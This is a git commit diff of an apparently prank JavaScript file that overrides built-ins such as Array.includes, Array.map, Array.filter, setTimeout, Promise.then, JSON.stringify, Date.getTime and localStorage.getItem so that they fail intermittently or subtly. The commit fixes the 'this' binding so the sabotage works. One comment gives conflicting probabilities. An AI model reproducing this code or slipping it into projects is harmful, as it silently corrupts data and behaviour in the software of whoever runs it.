按建议由键盘自动修正了问题

This commit is contained in:
FurryR 2022-08-19 15:09:25 +08:00
parent 8aef94e6d7
commit 9e0f49dd52

View File

@ -16,69 +16,78 @@
* @zh 当数组长度可以被7整除时本方法永远返回false * @zh 当数组长度可以被7整除时本方法永远返回false
*/ */
const _includes = Array.prototype.includes const _includes = Array.prototype.includes
Array.prototype.includes = (...args) => Array.prototype.includes = function (...args) {
this.length % 7 !== 0 ? _includes.apply(this, args) : false return this.length % 7 !== 0 ? _includes.apply(this, args) : false
}
/** /**
* Array.map will always be missing the last element on Sundays * Array.map will always be missing the last element on Sundays
* @zh 当周日时Array.map方法的结果总是会丢失最后一个元素 * @zh 当周日时Array.map方法的结果总是会丢失最后一个元素
*/ */
const _map = Array.prototype.map const _map = Array.prototype.map
Array.prototype.map = (...args) => Array.prototype.map = function (...args) {
new Date().getDay() === 0 return new Date().getDay() === 0
? _map.apply(this, args).slice(0, -1) ? _map.apply(this, args).slice(0, -1)
: _map.apply(this, args) : _map.apply(this, args)
}
/** /**
* Array.fillter has 10% chance to lose the final element * Array.fillter has 10% chance to lose the final element
* @zh Array.filter的结果有2%的概率丢失最后一个元素 * @zh Array.filter的结果有2%的概率丢失最后一个元素
*/ */
const _filter = Array.prototype.filter const _filter = Array.prototype.filter
Array.prototype.filter = (...args) => Array.prototype.filter = function (...args) {
Math.random() < 0.02 return Math.random() < 0.02
? _filter.apply(this, args).slice(0, -1) ? _filter.apply(this, args).slice(0, -1)
: _filter.apply(this, args) : _filter.apply(this, args)
}
/** /**
* setTimeout will alway trigger 1s later than expected * setTimeout will alway trigger 1s later than expected
* @zh setTimeout总是会比预期时间慢1秒才触发 * @zh setTimeout总是会比预期时间慢1秒才触发
*/ */
const _timeout = global.setTimeout const _timeout = global.setTimeout
global.setTimeout = (handler, timeout, ...args) => global.setTimeout = function (handler, timeout, ...args) {
_timeout.call(global, handler, +timeout + 1000, ...args) return _timeout.call(global, handler, +timeout + 1000, ...args)
}
/** /**
* Promise.then has a 10% chance will not register on Sundays * Promise.then has a 10% chance will not register on Sundays
* @zh Promise.then 在周日时有10%几率不会注册 * @zh Promise.then 在周日时有10%几率不会注册
*/ */
const _then = Promise.prototype.then const _then = Promise.prototype.then
Promise.prototype.then = (...args) => Promise.prototype.then = function (...args) {
new Date().getDay() === 0 && Math.random() < 0.1 return new Date().getDay() === 0 && Math.random() < 0.1
? new Promise(() => null) ? new Promise((_resolve, reject) => reject())
: _then.apply(this, args) : _then.apply(this, args)
}
/** /**
* JSON.stringify will replace 'I' into 'l' * JSON.stringify will replace 'I' into 'l'
* @zh JSON.stringify 会把'I'变成'l' * @zh JSON.stringify 会把'I'变成'l'
*/ */
const _stringify = JSON.stringify const _stringify = JSON.stringify
JSON.stringify = (...args) => JSON.stringify = function (...args) {
_stringify.call(JSON, ...args).replace(/I/g, 'l') return _stringify.call(JSON, ...args).replace(/I/g, 'l')
}
/** /**
* Date.getTime() always gives the result 1 hour slower * Date.getTime() always gives the result 1 hour slower
* @zh Date.getTime() 的结果总是会慢一个小时 * @zh Date.getTime() 的结果总是会慢一个小时
*/ */
const _getTime = Date.prototype.getTime const _getTime = Date.prototype.getTime
Date.prototype.getTime = () => _getTime.call(this) - 3600 * 1000 Date.prototype.getTime = function () {
return _getTime.call(this) - 3600 * 1000
}
/** /**
* localStorage.getItem has 5% chance return empty string * localStorage.getItem has 5% chance return empty string
* @zh localStorage.getItem 有5%几率返回空字符串 * @zh localStorage.getItem 有5%几率返回空字符串
*/ */
const _getItem = global.localStorage.getItem const _getItem = global.localStorage.getItem
global.localStorage.getItem = (...args) => global.localStorage.getItem = function (...args) {
Math.random() < 0.05 ? '' : _getItem.apply(this, args) return Math.random() < 0.05 ? '' : _getItem.apply(this, args)
}
/** /**
* Object.keys has 5% chance return empty array * Object.keys has 5% chance return empty array